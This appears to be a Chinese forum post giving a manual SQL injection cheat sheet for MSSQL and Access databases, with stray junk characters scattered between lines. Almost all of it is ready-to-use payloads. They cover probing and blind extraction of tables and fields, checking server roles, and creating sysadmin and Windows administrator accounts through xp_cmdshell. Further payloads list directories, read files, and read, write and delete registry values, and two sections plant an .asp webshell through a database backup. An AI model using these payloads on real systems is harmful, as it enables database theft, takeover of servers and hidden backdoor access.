手工脚本注入

admin

手工脚本注入
1.判断是否有注入;and 1=1 ;and 1=2
* p" |; l0 O9 V& |
( O% n- C: x$ D2 x( j2.初步判断是否是mssql ;and user>0

3.注入参数是字符'and [查询条件] and ''='

4.搜索时没过滤参数的'and [查询条件] and '%25'='
7 B6 ?, w9 D' X0 Z
5.判断数据库系统
0 l2 U1 B6 |! A  B# i8 e9 o6 u;and (select count(*) from sysobjects)>0 mssql
$ @7 V. U9 g7 p& {/ @( j, u;and (select count(*) from msysobjects)>0 access

6.猜数据库 ;and (select Count(*) from [数据库名])>0

; E" o1 l8 c% g7.猜字段 ;and (select Count(字段名) from 数据库名)>0
% U0 B0 [5 J  r. X( p
$ l* c. O& D7 X4 R! k* z8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0

4 h8 i# i  f8 m9 h) n9.(1)猜字段的ascii值（access）
, a+ I) ^8 n6 y; K# W;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0

(2)猜字段的ascii值（mssql）
' m$ Z4 q! g7 ?1 V' Y;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
1 Y: `) V# a/ ], l4 @" t' q1 k: q
$ e/ P/ ~. O6 ^/ I9 \' U10.测试权限结构（mssql）
( @3 y( v' l8 q;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
" m9 Q8 Z. `; D0 o# X;and 1=(select IS_MEMBER('db_owner'));--
( I! ~" x: Z4 G) z0 P
8 z& D  Z8 N3 \: O5 W7 I11.添加mssql和系统的帐户
2 @% r: ]( f- t7 ~6 K  y;exec master.dbo.sp_addlogin username;--

;exec master.dbo.sp_password null,username,password;--

0 K$ m$ Y3 J% p: Z1 s% W$ r;exec master.dbo.sp_addsrvrolemember sysadmin username;--

$ {  n8 c$ V/ T" d" x( }$ N;exec master.dbo.xp_cmdshell 'net user username password
$ F7 Y. ~& c3 R6 O; u& F/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--

. }* t4 h0 }' }4 u2 V0 c, K" Y;exec master.dbo.xp_cmdshell 'net user username password /add';--
* t" w: N  @' p0 T
$ ]7 K. R9 D: `% B& |* |;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--

7 N' R# j  W5 [12.(1)遍历目录
7 {7 T% _) I) ]. C' P& m5 M
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree 'c:\'
: H' }* H. a6 \9 U;and (select top 1 paths from dirs)>0
1 O! ]2 p$ g+ u) T) t;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)

9 I1 e0 A2 l4 G' A) H. L- O(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
. F" l9 K0 O) A0 A+ o& y;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
$ j! s  X2 p8 _* z;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
, k* G+ b1 x  c- f( V8 Z;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容

13.mssql中的存储过程

xp_regenumvalues 注册表根键, 子键
. t: M) x5 J: i( y2 b;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值

xp_regread 根键,子键,键值名
) @9 z8 V" q9 U- ?* J. Z9 o;exec xp_regread
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值

xp_regwrite 根键,子键, 值名, 值类型, 值
9 ~  ~) N4 ?/ t! u3 x8 J! ?值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表

0 n, N5 y/ G- A8 h# Pxp_regdeletevalue 根键,子键,值名

exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
9 d- f& y- T  @7 f7 C1 D% k2 B  B! ]
1 f% D* `" l$ ]$ H# ^xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值

; V" v  {5 S/ \; `14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values ('');
: g) h" V; S. k  b5 s% Wbackup database model to disk='c:\l.asp';
# \; X( \1 k( x! x. N, B2 g
$ h7 _* K+ t7 ~1 Z  w15.mssql内置函数
6 X1 w/ \0 z7 P;and (select @@version)>0 获得Windows的版本号
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
% q+ ^" X1 w1 j& L1 d, };and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
) v1 G( Q( O! o% X7 U
8 r4 P6 u( M1 {- b8 a2 E, J16.简洁的webshell

3 ]$ H4 `! ]8 X7 v4 j9 Ruse model

create table cmd(str image);

insert into cmd(str) values ('');
" N* D) k& T0 H: T) \
9 ~: ?; q# z( u! Tbackup database model to disk='g:\wwwtest\l.asp';

# A, N  a- F3 R) |+ f+ V% z

老男孩

现在很多防注入啊，有其他注入字符码